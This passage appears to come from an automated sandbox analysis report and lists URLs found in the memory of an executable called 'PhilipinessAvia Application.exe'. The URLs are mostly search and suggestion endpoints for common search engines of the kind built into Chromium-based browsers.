      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/sgt.jsp?MT=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/web.jsp?MT=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.naver.com/search.naver?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.privacywall.org/suggest.php?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.cz/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.cz/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.cz/favicon.icohttps://search.seznam.cz/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.sk/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.sk/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.sk/favicon.icohttps://search.seznam.sk/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.softonic.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.walla.co.il/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.co.jp/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.co.jp/favicon.icohttps://search.yahoo.co.jp/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.co.jp/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?p=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://searchatlas.centrum.cz/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://searchatlas.centrum.cz/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://searchatlas.centrum.cz/favicon.icohttps://searchatlas.centrum.cz/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/favicon.icohttps://sg.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://source.chromium.org/chromium/chromium/src/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sp.ask.com/sh/i/a16/favicon/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sp.ask.com/sh/i/a16/favicon/favicon.icohttps://www.ask.com/web?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ssl.pstatic.net/sstatic/search/favicon/favicon_140327.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ssl.pstatic.net/sstatic/search/favicon/favicon_140327.icohttps://search.naver.com/search.nav
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://storage.ape.yandex.net/get/browser/Doodles/yandex/drawable-xxhdpi/yandex.png
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suche.gmx.at/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suche.gmx.net/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sug.so.360.cn/suggest?encodein=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sugg.sogou.com/sugg/ajaj_json.jsp?type=addrbar&key=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.search.daum.net/sushi/opensearch/pc?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.seznam.cz/fulltext_ff?phrase=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.seznam.sk/fulltext_ff?phrase=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.by/suggest-ff.cgi?part=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.com.tr/suggest-ff.cgi?part=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.com/suggest-ff.cgi?part=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.kz/suggest-ff.cgi?part=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.ua/suggest-ff.cgi?part=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestion.baidu.com/su?wd=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.at/s?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.co.uk/s?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.com/s?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.es/s?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.fr/s?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.net/s?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggests.go.mail.ru/chrome?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/favicon.icohttps://th.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/favicon.icohttps://tr.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/favicon.icohttps://ve.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.icohttps://vn.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.amd.com/en/support/apu/amd-series-processors/amd-a8-series-apu-for-laptops/a8-5550m-rade
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ask.com/web?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/#ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/favicon.icohttps://www.baidu.com/#ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/s?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/paieska/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/newtab/(
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/favicon.icohttps://www.givero.com/search?q=
